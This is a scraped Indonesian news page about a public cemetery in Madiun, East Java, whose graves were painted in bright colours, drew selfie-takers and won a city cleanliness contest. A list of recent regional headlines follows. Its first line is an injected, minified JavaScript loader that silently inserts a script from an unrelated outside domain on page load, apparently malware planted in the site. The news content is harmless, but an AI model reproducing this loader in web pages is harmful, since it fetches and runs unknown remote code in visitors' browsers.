(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: WARGA+62

Dicat Warna-warni Ubah Nuansa Angker, Pemakaman Ini Malah Jadi Spot Selfie


KANALKALIMANTAN.COM – Tempat Pemakaman Umum (TPU) Kelurahan Tawangrejo, Kecamatan Kartoharjo, Kota Madiun, Jawa Timur, mendadak terlihat berbeda dari TPU lain. Makam di TPU ini dicat warna-warni.

Pantauan Solopos.com —jaringan Suara.com, kijing dan nisan di TPU itu terlihat berwarna-warni. Ada warna merah, kuning, hijau, ungu, biru, dan lainnya. Jalan ke makam juga dicat berwarna-warni.

TPU yang dikenal dengan sebutan Makam Nguwot itu kini viral di media sosial. Banyak warga yang datang ke makam untuk melihat dan berfoto di area makam. Hal ini sekaligus menghilangkan kesan angker di TPU ini.

Pengurus Makam Nguwot, Gunawan, mengatakan pengecatan makam ini dilakukan untuk kegiatan lomba kebersihan makam yang diselenggarakan Dinas Pertamanan dan Kawasan Permukiman Kota Madiun.

Makam ini dicat dengan beragam cat warna-warni untuk menghilangkan kesan seram.

Kegiatan pengecatan ini sekaligus untuk dilombakan dalam lomba kebersihan makam,” kata dia, Sabtu (27/6/2020).

Untuk mengecat seluruh makam dan area pemakaman ini dibutuhkan cat sebanyak 50 liter.

Sedangkan waktu yang dibutuhkan untuk mengecat semua makam yaitu selama sebulan. Gunawan menuturkan selain dicat warna-warni, area makam juga ditanami bunga supaya lebih indah.

Pihaknya mengaku sudah mendapatkan izin dari keluarga ahli waris untuk melakukan pengecatan itu. “Sudah izin ahli waris. Bahkan mereka juga ikut membantu dalam mengecat makam,” jelas dia.

Saat ini, di lokasi makam juga dipasangi lampu yang cukup terang. Sehingga lokasi makam sudah tidak terkesan angker lagi. TPU di Kelurahan Tawangrejo ini berhasil menyabet sebagai juara pertama lomba kebersihan makam tingkat Kota Madiun. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

5 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

5 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

6 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

8 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

14 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.